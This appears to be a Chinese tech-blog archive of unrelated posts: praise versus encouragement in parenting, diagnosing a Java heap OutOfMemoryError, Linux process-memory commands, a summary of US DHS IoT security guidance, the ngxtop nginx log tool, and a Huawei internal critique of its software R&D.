mbinlogmq 一个基于MySQL binlog协议的数据同步中间件什么是mbinlogmq? mbinlogmq 是一个使用C语言开发的基于 MySQL binlog 协议的一个中间件，通过模拟Slave 来实时获取 MySQL binlog日志，并将数据变更信息以及 DB 语句发送到 RabbitMQ，中间通过监听机制与校验机制来确保不宕机的情况下的100%抵达 RMQ 设计架构安装&编译 mbinlog依赖于一些第三方库：请先安装依赖软件： cURL 、mysql、rabbitmq，安装完成后记住其安装的路...

家长们，你拿到孩子成绩单之后说的那句话可能影响孩子的一生

Sun, 20 Jan 2019 16:33:23 CST

我女儿格格今年刚上小学一年级，这是她的第一次期末考试，早晨起床吃饭的时候就不断看时间，又检查了一次文具盒，流露出既期待又担心的心情，说实话我也很忐忑，因为她在幼儿园的时候没有上过拼音、数学、英语的课程，所以刚开学的时候虽然很努力的学习，但只能考85分左右，老师经常跟我们私聊说班上只有三、四个孩子考80多分，要我们抓紧孩子的学习。

好在考完语文和英语之后，接她放学的时候她显得很轻松，说所有的题都会做，全部都能考一百分，我也就松了一口气。终于到了开家长会的那一天，试卷发了下来，英语100、语文98.5、数学96，高兴的数学老师和语文老师专门发私信肯定了孩子的进步，她还获得了“进步之星”的奖状

我也特别的高兴，当时就在想，回家后该怎么表扬奖励孩子：
– “哇，你太棒了，考了100分！”
– “你赢得了进步之星，爸爸真为你感到骄傲！”
– “你太厉害了，一个学期进步这么大！连老师都表扬你呢！”
– “为了庆祝你考了100分，你想吃什么我今天都给你买！”

你有没有用类似的语言表扬过孩子？那孩子的反应如何呢？

#### 什么是表扬？什么是鼓励？

我当时刚冒出这些念头就突然意识到不对了，我想起有一次上正面管教和PET课程的时候老师讲过家长应该多鼓励而不是表扬，那什么是表扬的语言？什么是鼓励的语言？他们之间到底有什么区别呢？

下面根据美国家庭教育家丁克迈尔的观点，比较表扬与鼓励之间的区别，首先来看表扬，表扬的语言比如：“我为你得了100分而骄傲”
– 表扬背后的基本信念1是：着重于外在的控制，孩子收到的信息是：“只有做你要我做的，我才有价值”，可能造成的结果是：“孩子学会以是否顺从父母来衡量价值，或反抗叛逆，（把所有合作行为当成投降）
– 表扬背后基本信念2是：着重于外在的评价，孩子收到的信息是：“必须使你高兴我才是好的”，可能的结果是：“孩子学会怎样取悦他人来衡量好坏，孩子学会担忧别人不赞同”
– 表扬背后基本信念3是：“只有做的好，完成任务时才给予”，孩子收到的信息是：“我必须符合你的标准才是好的”，可能的结果是：“孩子形成不切实际的标准，并学会以自己所能达到的完美程度来评价好坏，孩子会非常害怕失败。”
– 表扬背后基本信念4是：“着重于自我评价和个人收获”，孩子收到的信息是：“我是最好的，我必须保持胜过别人才是最好的”，可能的结果是：“孩子学会过度竞争，只有第一名才是好的”

看了这些是不是冒出一身冷汗？以前从来没有意识到一句普普通通的话，孩子会怎么理解，会对他产生什么影响，或许你自己身上一些想改掉但一直改不掉的问题，也在上面找到了源头。

再来看看鼓励，鼓励的语言比如：“你考了100分反映了这段时间你的努力”
– 鼓励背后的基本信念1：着重于孩子自己应对生活的能力，孩子收到的信息是：“父母信任我，我能成为有责任心、独立的人”，可能的结果是：“孩子学到承受不完美的勇气和尝试的意愿，孩子学到自信，并对自己的行为负责”
– 鼓励背后的基本信念2：着重于内在评价，孩子收到的信息是：“我对自己的感觉和我自己的努力才是最重要的。”，可能的结果是：“孩子学会接纳自己和别人的努力，学会自己做决定”
– 鼓励背后的基本信念3：承认孩子的努力和进步，孩子收到的信息是：“我不必十全十美，努力并取得进步才是最重要的”，能的结果是：“孩子学会接纳自己和别人的努力，形成做事情的欲望。”
– 鼓励背后的基本信念4：着重于孩子的贡献，表达对孩子的感谢，孩子收到的信息是：“我的付出是有用的，我得到了别人的欣赏”，可能的结果是：“孩子学会运用他的才能和努力为大家做事，孩子学会为别人，也为自己的成功高兴。”

最后总结一下：

– 表扬所强调的是别人的感受，孩子取得好成绩，获得好名次，父母对孩子说：“我们为你感到骄傲、你真棒！”这里强调的是父母的感受，着重的是结果而不是努力的过程。在孩子看来，父母实际上是在说：“你让我更有面子。”
– 鼓励的重点在孩子的努力和进步。鼓励型的父母并不在乎孩子跟别人比是怎么样。父母关心的是孩子能否接纳自己，有勇气去面对眼前的困难或任务，帮助孩子建立自信。因此，鼓励重视孩子的内在自我激励。

#### 结语
我们很少意识到语言是特别有力量的工具，给对方会带来水滴石穿般的影响。

好在几乎所有表扬的语言都能转换为鼓励的语言，给你三个例子试试看吧：
– “你赢得了进步之星，爸爸真为你感到骄傲！”
– “你太厉害了，一个学期进步这么大！连老师都表扬你呢！”
– “为了庆祝你考了100分，你想吃什么我今天都给你买！”

你也可以把自己说过的话转换成鼓励的语言留言给我。

Java 内存溢出排查

Mon, 17 Sep 2018 09:55:42 CST

Java OOM 毫无疑问是开发人员常见并且及其痛恨的问题，但是任何服务的开发都没法避免 OOM。因此，OOM 的排查及定位是每个 Java 工程师都必备的技能。

所遇到的问题

在使用 scala 开发的一个 web 服务，在用户使用中，经常出现： java.lang.OutOfMemoryError: Java heap space 。而且还束手无策，每次都只能重启服务解决。

准备

服务使用 jetty 发布的，先来看一下我这个服务的启动参数：

/opt/soft/jdk/jdk1.7.0_40/bin/java \
  -server -Xmx4G -XX:MaxPermSize=1024M -XX:PermSize=256M \
  -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:-CMSConcurrentMTEnabled -XX:CMSInitiatingOccupancyFraction=65 -XX:+CMSParallelRemarkEnabled \
  -XX:+HeapDumpOnOutOfMemoryError \
  -XX:HeapDumpPath=/opt/soft/heapdump/ \
  -Dscala.concurrent.context.numThreads=500 \
  -Dscala.concurrent.context.maxThreads=500 \
  -Dfile.encoding=UTF-8 -jar start.jar >> log 2>&1 &

排查

通过增加了参数 -XX:+HeapDumpOnOutOfMemoryError 和 -XX:HeapDumpPath 当在 OOM 的时候，服务会生成一个 java_pid$pid.hprof 二进制文件。

下面就是使用工具分析这个 .hprof 文件来定位问题了。使用 Memory Analyzer (MAT) 来分析该文件，效果如下：

效果很吓人，什么鬼，什么东西，吃了 3.8G 的内存，我#%$#@#@#&^&^&#$….
打开 Leak Suspects» Leaks» Problem Suspect 1 看到如下详情：

一开始可能没那么快找到问题，但是这个图已经很明显说明了问题，是 ArrayList 的内容太大，沾满了内存。但是你可能还不清楚具体那块代码导致，这个时候你可以点击那个 ArrayList 在左侧栏看 Attribute。
然后一直鼠标右键 into 进去看里面的详情，最终是可以看内容的。

问题原因

问题排查到最后，看到的是 ArrayList 里面存的全是 ResponseBodyPart，然后就想到了项目使用到 Dispatch 请求下载结果文件，
于是乎去找到问题代码，错误代码如下：

val outputReq = dispatch.url(url) / "task" / "output" / id
val outputFuture = Http(outputReq > { res =>
  val out = new FileOutputStream(outputFile(taskId), true)
  IOUtils.copy(res.getResponseBodyAsStream(), out)
  out.close
})

看不出问题，感觉一切正常。翻源码会发现， res.getResponseBodyAsStream() 之前，已经将所有内容都存入一个 ArrayList 当中了。哎，没用对啊。

解决办法

问题已经定位到，于是去了解了一下这个项目，该如何使用 stream 的方式来读取并写入文件流。然后发现，人家有一个 read line by line 的实现。但是切割上其实是有问题的，因为拿到一批 bytes 之后，直接转成了 string 并用分隔符分割，
奈何内容里面有中文，出现乱码了。

最终，参考项目本身的 as.stream.Lines 写了一个 as.stream.Bytes 来通过 bytes 边读边写，如下：

val bos = new BufferedOutputStream(new FileOutputStream("/tmp/file.txt", true))
val outputFuture = Http(outputReq > as.stream.Bytes(bytes => {
  bos.write(bytes)
}))

总结

主要描述了分析问题的思路和方向，问题都大同小异，OOM 总会有原因的，有原因肯定可以找到并解决。MAT 这个分析工具很实用，内容很详细。以前遇到 OOM 问题都是重启服务，治标不治本，还是要多分析问题并解决。

Linux 查看进程消耗内存情况总结

Mon, 10 Sep 2018 22:07:26 CST

在Linux中，有很多命令或工具查看内存使用情况，今天我们来看看如何查看进程消耗、占用的内存情况，Linux的内存管理和相关概念要比Windows复杂一些。在此之前，我们需要了解一下Linux系统下面有关内存的专用名词和专业术语概念：

物理内存和虚拟内存

物理内存：就是系统硬件提供的内存大小，是真正的内存，一般叫做内存条。也叫随机存取存储器（random access memory，RAM）又称作“随机存储器”，是与CPU直接交换数据的内部存储器，也叫主存(内存)。

虚拟内存：相对于物理内存，在Linux下还有一个虚拟内存的概念，虚拟内存就是为了满足物理内存的不足而提出的策略，它是利用磁盘空间虚拟出的一块逻辑内存，用作虚拟内存的磁盘空间被称为交换空间（Swap Space）。Linux会在物理内存不足时，使用虚拟内存，内核会把暂时不用的内存块信息写到虚拟内存，这样物理内存就得到了释放，这块儿内存就可以用于其他目的，而需要用到这些内容的时候，这些信息就会被重新从虚拟内存读入物理内存。

Linux的buffers与cached

在Linux中经常发现空闲的内存很少，似乎所有的内存都被消耗殆尽了，表面上看是内存不够用了，很多新手看到内存被“消耗殆尽”非常紧张，其实这个是因为Linux系统将空闲的内存用来做磁盘文件数据的缓存。这个导致你的系统看起来处于内存非常紧急的状况。但是实际上不是这样。这个区别于Windows的内存管理。Linux会利用空闲的内存来做cached & buffers。

buffers是指用来给块设备做的缓冲大小（块设备的读写缓冲区），它只记录文件系统的metadata以及 tracking in-flight pages.

Buffers are associated with a specific block device, and cover caching of filesystem metadata as well as tracking in-flight pages. The cache only contains parked file data. That is, the buffers remember what’s in directories, what file permissions are, and keep track of what memory is being written from or read to for a particular block device. The cache only contains the contents of the files themselves.

cached是作为page cache的内存, 文件系统的cache。你读写文件的时候，Linux内核为了提高读写性能与速度，会将文件在内存中进行缓存，这部分内存就是Cache Memory(缓存内存)。即使你的程序运行结束后，Cache Memory也不会自动释放。这就会导致你在Linux系统中程序频繁读写文件后，你会发现可用物理内存会很少。其实这缓存内存(Cache Memory)在你需要使用内存的时候会自动释放，所以你不必担心没有内存可用

Cached is the size of the page cache. Buffers is the size of in-memory block I/O buffers. Cached matters; Buffers is largely irrelevant.

Cached is the size of the Linux page cache, minus the memory in the swap cache, which is represented by SwapCached (thus the total page cache size is Cached + SwapCached). Linux performs all file I/O through the page cache. Writes are implemented as simply marking as dirty the corresponding pages in the page cache; the flusher threads then periodically write back to disk any dirty pages. Reads are implemented by returning the data from the page cache; if the data is not yet in the cache, it is first populated. On a modern Linux system, Cached can easily be several gigabytes. It will shrink only in response to memory pressure. The system will purge the page cache along with swapping data out to disk to make available more memory as needed.

Buffers are in-memory block I/O buffers. They are relatively short-lived. Prior to Linux kernel version 2.4, Linux had separate page and buffer caches. Since 2.4, the page and buffer cache are unified and Buffers is raw disk blocks not represented in the page cache—i.e., not file data. The Buffers metric is thus of minimal importance. On most systems, Buffers is often only tens of megabytes.

Linux共享内存

共享内存是进程间通信中最简单的方式之一。共享内存允许两个或更多进程访问同一块内存，就如同 malloc() 函数向不同进程返回了指向同一个物理内存区域的指针。当一个进程改变了这块地址中的内容的时候，其它进程都会察觉到这个。其实所谓共享内存，就是多个进程间共同地使用同一段物理内存空间，它是通过将同一段物理内存映射到不同进程的虚拟空间来实现的。由于映射到不同进程的虚拟空间中，不同进程可以直接使用，不需要像消息队列那样进行复制，所以共享内存的效率很高。共享内存可以通过mmap()映射普通文件机制来实现，也可以System V共享内存机制来实现，System V是通过映射特殊文件系统shm中的文件实现进程间的共享内存通信，也就是说每个共享内存区域对应特殊文件系统shm中的一个文件。

另外，我们还必须了解RSS、PSS、USS等相关概念：

VSS – Virtual Set Size 虚拟耗用内存（包含共享库占用的内存）
RSS – Resident Set Size 实际使用物理内存（包含共享库占用的内存）
PSS – Proportional Set Size 实际使用的物理内存（比例分配共享库占用的内存）
USS – Unique Set Size 进程独自占用的物理内存（不包含共享库占用的内存）

RSS（Resident set size），使用top命令可以查询到，是最常用的内存指标，表示进程占用的物理内存大小。但是，将各进程的RSS值相加，通常会超出整个系统的内存消耗，这是因为RSS中包含了各进程间共享的内存。

PSS（Proportional set size）所有使用某共享库的程序均分该共享库占用的内存时，每个进程占用的内存。显然所有进程的PSS之和就是系统的内存使用量。它会更准确一些，它将共享内存的大小进行平均后，再分摊到各进程上去。

USS(Unique set size )进程独自占用的内存，它是PSS中自己的部分，它只计算了进程独自占用的内存大小，不包含任何共享的部分。

所以下面介绍的命令，有些查看进程的虚拟内存使用，有些是查看进程的RSS或实际物理内存。在讲述的时候，我们会标注这些信息。

top命令查看

执行top命令后，执行SHIFT +F ，可以选择按某列排序，例如选择n后，就会按字段%MEM排序

当然也可以使用shift+m 或大写键M 让top命令按字段%MEM来排序，当然你也可以按VIRT（虚拟内存）、SWAP（进程使用的SWAP空间）、RES(实际使用物理内存,当然这里由于涉及共享内存缘故，你看到的实际内存非常大)

%MEM — Memory usage (RES)

A task’s currently used share of available physical memory

VIRT — virtual memory

The total amount of virtual memory used by the task. It includes all code, data and shared libraries plus pages that have been swapped out. (Note: you can define the STATSIZE=1 environment variable and the VIRT will be calculated from the /proc/#/state VmSize field.)

VIRT = SWAP + RES

SWAP — Swapped size (kb)

The swapped out portion of a task’s total virtual memory image.

RES — Resident size (kb)

RES = CODE + DATA.

是否有人会觉得奇怪，为什么%MEM这一列的值加起来会大于100呢？这个是因为这里计算的时候包含了共享内存的缘故，另外由于共享内存的缘故，你看到进程使用VIRT或RES都非常高。由于大部分的物理内存通常在多个应用程序之间共享，名为实际使用物理内存（RSS，对应top命令里面的RES）的这个标准的内存耗用衡量指标会大大高估内存耗用情况。

ps命令查看

使用ps命令找出占用内存资源最多的20个进程（数量可以任意设置）

# ps aux | head -1;ps aux |grep -v PID |sort -rn -k +4 | head -20
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
oracle   32147 11.0 51.2 13252080 12666320 ?   Rs   Aug24 163:16 ora_s000_SCM2
oracle   32149 14.2 50.9 13250344 12594264 ?   Ss   Aug24 210:41 ora_s001_SCM2
oracle   32153  4.2 49.6 13250820 12279432 ?   Ss   Aug24  62:27 ora_s003_SCM2
oracle   32155  2.5 48.6 13250268 12040732 ?   Ss   Aug24  38:21 ora_s004_SCM2
oracle   32157  1.2 44.5 13250296 11011708 ?   Ss   Aug24  18:31 ora_s005_SCM2
oracle   32151  2.7 39.7 13350436 9829944 ?    Ss   Aug24  41:18 ora_s002_SCM2
oracle   32159  0.5 38.9 13250704 9625764 ?    Ss   Aug24   8:18 ora_s006_SCM2
oracle   32161  0.2 26.3 13250668 6507244 ?    Ss   Aug24   3:38 ora_s007_SCM2
oracle   32129  0.0 25.5 13299084 6324644 ?    Ss   Aug24   1:25 ora_dbw0_SCM2
oracle   32181  0.0 15.8 13250152 3913260 ?    Ss   Aug24   0:56 ora_s017_SCM2
oracle   32145  2.7 15.3 13255256 3786456 ?    Ss   Aug24  40:11 ora_d000_SCM2
oracle   32127  0.0 15.2 13248996 3762860 ?    Ss   Aug24   0:05 ora_mman_SCM2
oracle   32163  0.0 14.2 13250108 3525160 ?    Ss   Aug24   1:04 ora_s008_SCM2
oracle   32165  0.0  8.1 13250172 2007704 ?    Ss   Aug24   0:37 ora_s009_SCM2
oracle   32169  0.0  6.6 13250060 1656864 ?    Ss   Aug24   0:08 ora_s011_SCM2
oracle   32177  0.0  6.0 13250148 1498760 ?    Ss   Aug24   0:12 ora_s015_SCM2
oracle   32187  0.0  5.1 13250084 1267384 ?    Ss   Aug24   0:06 ora_s020_SCM2
oracle   32179  0.0  5.1 13250584 1280156 ?    Ss   Aug24   0:05 ora_s016_SCM2
oracle   32167  0.0  5.0 13250060 1248668 ?    Ss   Aug24   0:08 ora_s010_SCM2
oracle   32175  0.0  3.4 13250596 857380 ?     Ss   Aug24   0:03 ora_s014_SCM2

#ps -eo pmem,pcpu,rss,vsize,args | sort -k 1 -n -r | less

查看进程占用的实际物理内存（与smem看到实际物理内存大小有出入，这里解释一下：SIZE: 进程使用的地址空间, 如果进程映射了100M的内存, 进程的地址空间将报告为100M内存. 事实上, 这个大小不是一个程序实际使用的内存数. 所以这里看到的内存跟smem看到的大小有出入）

ps -eo size,pid,user,command --sort -size | awk '{ hr=$1/1024 ; printf("%13.2f Mb ",hr) } { for ( x=4 ; x<=NF ; x++ ) { printf("%s ",$x) } print "" }' |cut -d "" -f2 | cut -d "-" -f1

ps aux | awk '{print $6/1024 " MB\t\t" $11}' | sort -n

smem命令查看

关于smem命令，这里不做介绍，直接参考链接 Linux监控工具介绍系列——smem

#smem -rs pss

pmap命令查看

# ps -ef | grep tomcat
# pmap 32341

# pmap -x 32341

The -x option can be used to provide information about the memory allocation and mapping types per mapping. The amount of resident, non-shared anonymous, and locked memory is shown for each mapping。

python脚本查看

网上有个python脚本计算程序或进程的内存使用情况，地址位于https://raw.githubusercontent.com/pixelb/ps_mem/master/ps_mem.py

python ps_mem.py

[root@mylnx03 ~]# python ps_mem.py -h
Usage: ps_mem [OPTION]...
Show program core memory usage
 
  -h, -help                   Show this help
  -p <pid>[,pid2,...pidN]     Only show memory usage PIDs in the specified list
  -s, --split-args            Show and separate by, all command line arguments
  -t, --total                 Show only the total value
  -d, --discriminate-by-pid   Show by process rather than by program
  -S, --swap                  Show swap information
  -w <N>                      Measure and show process memory every N seconds
[root@mylnx03 ~]# python ps_mem.py  -p 32341
 Private  +   Shared  =  RAM used       Program
 
411.2 MiB + 184.0 KiB = 411.4 MiB       java
---------------------------------
                        411.4 MiB
=================================

参考资料：

https://stackoverflow.com/questions/131303/how-to-measure-actual-memory-usage-of-an-application-or-process
http://www.cnblogs.com/kerrycode/p/5079319.html
https://raw.githubusercontent.com/pixelb/ps_mem/master/ps_mem.py

美国国土安全部发布《物联网安全指导原则》

Sun, 20 Nov 2016 13:50:32 CST

物联网在内的网络互联服务为社会发展创造了机会和利益，而物联网自身的安全却跟不上创新和部署的快速步伐。如今，网络连接设备无处不在，物联网的增长和普及大大方便了人们的生活，而随着国家关键基础设施更多的网络物联应用，个人和国家面临的安全威胁越来越严重，而物联网的安全问题也接踵而来，恶意攻击、信息泄露、业务中断、大规模网络攻击……网络驱动生活，物联网安全事关国家安全。

本报告向物联网设备和系统相关开发商、生产商、管理者及个人提供了一组安全规则建议，以供参考。

1 在设计开发阶段考虑安全问题

任何网络连接设备都应考虑安全问题，在设计阶段的安全建设，避免了后期因安全问题带来的潜在业务中断和高昂重建成本。而通过注重网络设备安全性，也能为生产商和服务商提供市场分化机遇。建议：

以独特的方式设置难以破解的默认用户名密码。用户从来不会修改由生产商提供的默认用户名密码，很容易被破解。僵尸网络操作者正是利用这些默认密码信息扫描IoT设备，进行攻击感染。当然，强壮的安全控制应该是让用户具有修改禁用某些功能的权限。

使用技术过关和经济可行的主流操作系统。许多IoT设备内置使用了一些老版本的Linux系统，造成更新不及时，带来严重安全隐患。

使用安全集成硬件以加强设备和安全和完整性防护。例如，在处理器中嵌入安全集成芯片，并提供加密和匿名功能。

在设计中考虑系统和操作中断因素。只有了解造成设备故障的原因，才能制订有效的安全策略，甚至在某些可行情况下，为了减缓故障的严重性，开发商应该为设备设计一种安全无损的失效模式。

2 加强安全更新和漏洞管理

即使在设计阶段考虑了安全性，但在产品使用后还是会发现一些漏洞，这些漏洞可以通过更新和漏洞管理策略来进行缓解。对于这些缓解策略的制订者来说，应该充分考虑设备故障造成的影响、设备运行持续性和预期维修成本。而对于生产商来说，在漏洞威胁日趋严重的网络环境中，如果没有部署或设置安全更新能力，可能就会面对昂贵地召回或在遗弃不管的选择。建议：

考虑通过网络或其它自动化方式对设备进行安全加固更新。理想情况下，补丁应该通过加密和完整性验证方式来自动化更新。

考虑协调第三方供应商来进行软件更新，以解决和改进漏洞管理模式，确保消费者使用设备具有一整套的安全防护措施。

开发漏洞自动化处理更新机制。例如，在软件工程领域，建立来自安全研究者和黑客社区的漏洞报告实时信息获取机制，这对软件开发人员或后期维护人员来说都能得到及时的信息反馈和响应。

制订一个漏洞协调披露和处理政策。该政策应该涉及开发商、生产商、服务商和应急响应组织(CSIRT)，通过应急响应组织，如US-CERT、ICS-CERT提供的漏洞报告进行定期的漏洞分析和预警。

针对物联网设备制订一个使用期限策略。IoT设备不可能进行无限期的更新和升级，开发人员应了解生产商和消费者期望，考虑设备使用期限问题，并明确超出使用期限带来的安全风险。

3 建立一套公认的安全操作方法

许多针对传统IT和网络安全的操作实践可以应用于IoT领域，这些方法可以帮助识别漏洞、检测合规性、响应预警和快速恢复。建议：

实践基本的软件安全和网络安全做法，并通过适配、灵活和创新的方式应用于IoT生态系统。

参考相关部门的具体实践指导。一些联邦部门制订有相关安全实践条例，如国家高速公路交通安全管理局（NHTSA）发布的《现代汽车网络安全最佳实践指南》、FDA发布的《医疗设备网络安全的售后管理》。

执行深度防御。开发商和生产商应该采用分层防御和用户级别威胁考虑的整体安全防护策略，当某些更新升级失效时，这能很好地发挥作用。

加入漏洞信息共享平台，积极通报漏洞，及时接收第三方安全预警。信息共享平台是提高安全风险意识的关键工具。如DHS和其下属的国家网络安全通信协调中心（NCCIC）等。

4 优先考虑造成潜在影响的安全措施

不同的IoT系统有着不同的风险模型，如工业用户和零售用户所考虑的风险不同，而且不同用户设备造成的安全故障后果也不尽相同，而破坏、数据泄露、恶意攻击等行为将导致潜在的严重后果，应该给予重视。建议：

了解设备的预期用途和使用环境。这将有助于开发商和生产商考虑IoT设备的技术特点、运行机制和必要的安全措施。

以黑客和攻击者视角建立“红队”操作模式，针对应用层、网络层、数据层和物理层进行安全分析测试，由此产生的最终结果和相关缓解策略有助于优先针对某些薄弱地方增加安全措施。

对接入网络的设备进行识别认证，尤其是针对工业和商业领域。引入安全认证功能，将使关键和重要领域用户对其组织架构内的设备和服务进行有效控制管理。

5 促进整个物联网生命周期的透明度

开发商和生产商应该了解其组织外部供应链使用或提供的软硬件相关漏洞情况。大多数时候，因为在开发和生产过程中忽略了供应链过程和产品的安全评估，一些代成本、易使用的软硬件会为IoT设备带来很大的安全隐患。另外，由于一些不明的开源软件会应用于IoT设备的开发过程，更增加了由此产生的风险威胁。提高安全意识可以帮助制生产商和工业消费者识别、应用安全措施或建立冗余策略。根据不同产品、开发商、生产商和服务商的可能产生的风险，设置适当的威胁缓解和漏洞处理措施，如更新、产品召回或客户咨询。建议：

进行内部或第三方供应商的端到端风险评估。为了增加安全透明度，开发商、生产商、供应商和服务商都应参风险评估过程。另外，当供应链环节发生改变时，相应的安全措施也应该进行改变或调整。

考虑建立一个关于漏洞报告的公开披露机制，如漏洞众测模式的赏金计划等。

在供应商和生产商之间采用明细的设备部件使用清单，以共建信任机制。一份明细清单对IoT生态系统的风险管理和威胁处理非常有用。

6 谨慎接入互联网

在工业环境和其它关键应用领域的物联网用户，应审慎考虑是否需要把IoT设备接入网络，并清楚由此导致的中断和其它安全风险。在当前复杂的网络环境中，任何物联网设备在其生命周期内都有可能会遭到破坏，物联网设备开发商、生产商和消费者应该了解相关设备被破坏和中断对主要功能和业务运营造成的影响。建议：

建议IoT用户明确任何网络连接性质和目的。如工业控制等一些关键环境使用的IoT设备没必要接入网络。

配置替代性连接方案。为了加强深度防御策略，在不接入互联网的情况下，可以选择配置接入本地网络进行关键信息收集和评估。具体参考： https://ics-cert.us-cert.gov/recommended_practices

在一些选择性连接方案中，允许生产商、服务商和用户禁用特定端口和连接功能。针对不同IoT设备用途，设置用户端指导和控制方案。

*参考来源： DHS，FB小编clouds编译，转载请注明来自FreeBuf（FreeBuf.COM）

Nginx日志实时监控、排查整理工具 - ngxtop

Mon, 21 Mar 2016 15:18:53 CST

要实时查看日志文件变动我们首先想到的应该是tail -f /path/to/log，但是这样看网站的访问日志是相当崩溃的，好一点可以写个脚本进行筛选，但是大部分人还是不擅长的，今天 VPS侦探就推荐给大家一个Nginx日志工具： ngxtop。

说起top工具有很多如： iftop、htop、ntop等，今天说的ngxtop功能也毫不逊色，不仅能实时监控Nginx日志的访问还可以对以前的日志进行排查整理。

安装ngxtop

ngxtop是使用python编写的，所以使用pip安装最简单了，可能有些用户没有安装pip，下面我们一块加上pip的安装步骤：

Fedora： yum install python-pip
CentOS/RHEL需先安装EPEL，安装完后： yum install python-pip
Debian/Ubuntu： apt-get install python-pip

安装完pip就可以安装ngxtop： pip install ngxtop

某ss啥的你们懂的，通过pip安装也是很简单的。

ngxtop使用参数

ngxtop 参数 print|top|avg|sum
ngxtop info 显示日志格式信息

-l <file>或--access-log <file> 设置日志路径
-f <format>或--log-format <format> 设置日志格式，默认格式combined，另外一种较常用格式为common
--no-follow 处理以前的日志，实时日志不做处理
-t <seconds> 或 --interval <seconds> 刷新频率，默认2秒
-g <var>或 --group-by <var> 按变量分组，默认显示 request_path
-w <var>或 --having <expr> 筛选 [default: 1]
-o <var>或 --order-by <var> 输出的排序方式，默认: 访问数
-n <number>或 --limit <number> 显示top多条，默认前top 10条
-a <exp> ...或 --a <exp> ... 对输出字段做处理，可选 sum, avg, min, max
-v或 --verbose 详细输出
-d或 --debug debug模式，输出每行及记录
-h或 --help 显示帮助详细
--version 显示版本信息

高级参数

-c <file>或 --config <file> 指定nginx配置文件，自动分析日志格式
-i <filter-expression>或 --filter <filter-expression> 满足表达式的过滤将被处理
-p <filter-expression>或 --pre-filter <filter-expression> in-filter expression to check in pre-parsing phase.

另外一些变量可以在分析时用到，名字含义同日志格式里的设置：remote_addr、remote_user、time_local、request、request_path、status、body_bytes_sent、http_referer、http_user_agent。

ngxtop使用实例

实时监控日志

ngxtop -l /home/wwwlogs/www.vpser.net.log

虽然直接执行ngxtop会自动搜索nginx.conf，但是直接解析里面默认虚拟主机的，建议直接指定日志文件。可以指定上-n 限定条数，也可以指定上-g http_user_agent按useragent查看。

日志分析

ngxtop -l /home/wwwlogs/www.vpser.net.log --no-follow 可以加一下参数进行详细分析，下面几个例子

按rquest_path且是404的前10请求： ngxtop -l /home/wwwlogs/www.vpser.net.log --no-follow top request_path --filter 'status == 404'

按总bytes sent最高的前10： ngxtop -l /home/wwwlogs/www.vpser.net.log --no-follow --order-by 'avg(bytes_sent) * count'

按remote address进行排序前10： ngxtop -l /home/wwwlogs/www.vpser.net.log --no-follow --group-by remote_addr

显示400或更高返回状态码的且只显示request、status、http_referer这三列信息： ngxtop -l /home/wwwlogs/www.vpser.net.log --no-follow -i 'status >= 400' print request status http_referer

显示bytes_sent平均值且状态码为200且request_path以vpser开始的前10： ngxtop -l /home/wwwlogs/www.vpser.net.log --no-follow avg bytes_sent --filter 'status == 200 and request_path.startswith("vpser")'

大家可以组合前面的命令进行日志的实时监控和日志排查整理，相信 ngxtop会给大家带来一些管理上的方便。

VPS论坛邀请码： http://bbs.vpser.net/reg.php?invitecode=39a41e6e55fmGsAG 有效期至：2016-3-25 19:18

© VPS侦探 for VPS侦探, 2016. | Permalink | No comment | Add to del.icio.us
Post tags: LNMP, Nginx, nginx日志, nginx日志分析, Nginx日志实时监控, ngxtop

美国VPS推荐 | 军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付 QQ：503228080

内部人建议华为炸掉研发金字塔，然后任正非给全公司发了封邮件⋯⋯

Sun, 07 Aug 2016 16:41:00 CST

钛媒体注：近日，华为内部署名“泥瓦客”的一名海龟程序员，从组织、流程、环境、工具四个方面痛斥在华为做研发的不易，并将这些问题形成了一篇文章发布在一本内部刊物上，然后这篇名为《华为该炸掉研发金字塔的时候了》的文章，又被转发到华为员工官方社区“心声社区”，激起了一场轰轰烈烈的内部讨论，更惊动了华为创始人& CEO任正非。任正非看完所有人的讨论后，签发了一封总裁办邮件，把文章和大家的讨论贴出来，告知全司，此举动背后的心思不得不说耐人寻味。

任正非签发邮件的按1写到：在技术工作的客气是毒品，直面的批评、争论才是良药。钛媒体编辑把这篇作者原文和上述任正非邮件的核心内容整理了出来，倒是一份很好的关于“研发”与技术管理的研究材料，也能更深层次帮助理解华为变大之后的内部问题。考虑到微信篇幅，钛媒体对相关素材在不影响意思的前提下，有所删减，本周周末深阅读，重磅推荐：

华为到该炸掉研发金字塔的时候了——关于我司软件研发效率和质量提升的思考

近年，在从CT到ICT的转型的过程中，华为公司的研发如何能解放和发展生产力，大幅提升研发效率，是我们未来能否立足于强者之林的一个关键。

笔者以前曾在美国硅谷工作，和世界上最顶尖的软件工程师和计算机领域的牛人一起共事过，也先后带领过不同的团队交付了一些业界领先的企业级软件产品。几年前进入华为，和几个做企业业务的产品线有些合作，在此过程中感到华为公司在软件产业的差距还比较大；和中国领先的互联网产品相比，在易用性、贴近用户和产品快速迭代等方面也落后不少。我们在软件研发领域的确存在不少问题，这些问题导致我们的IT软件产品质量比较低下、开发效率低、产品交付周期漫长，很是让人痛心。

因此笔者写下了这篇文章，希望能抛砖引玉，供大家思考。

一、组织

1、架构设计SE与开发分离，一些架构师与专家基本不懂开发

一般各个产品线都会设有架构设计部，主要成员也会以各个层次的SE为主。这些SE也都曾是程序员，但通常因为长期脱离开发部门，主要精力都放在会议、胶片和文档的编写上，以致编程的能力基本丢失，新技术学习的机会也有限。例如一个移动开发的SE，自己对怎么在Android、iOS上进行开发一点儿都不清楚。在这样的基础上，做好真正的架构简直是空谈。在硅谷成功的公司里，好的架构设计师一般是融入在产品团队中的，随时都能上手编程，而且编程能力非常强。

2、开发者多为低级别，比较难有技术积累

一般基层程序员在工作几年后，有能力的都被提升到PL、PM、SE等职位，员工也都想着被提拔，渐渐成为管理者。大家觉得，光做开发没有职业前途，永远都是在金字塔的底层。而在硅谷的公司，说话比较有分量、收入相对较高的有很多是在各层级中的技术佼佼者，他们备受尊重，干得也开心，不少人根本不愿意转做管理者。

编程其实是一门艺术，热爱和用心是非常重要的，也相应的容易出成绩。这就是为什么在计算机领域，如果做到顶尖程序员，一个人顶一百个很正常。如果程序员觉得没有前途，不思进取，而资质较好的很快又被提拔为管理者，那我们的软件开发将很难有技术和人才的积累。

3、多头管理

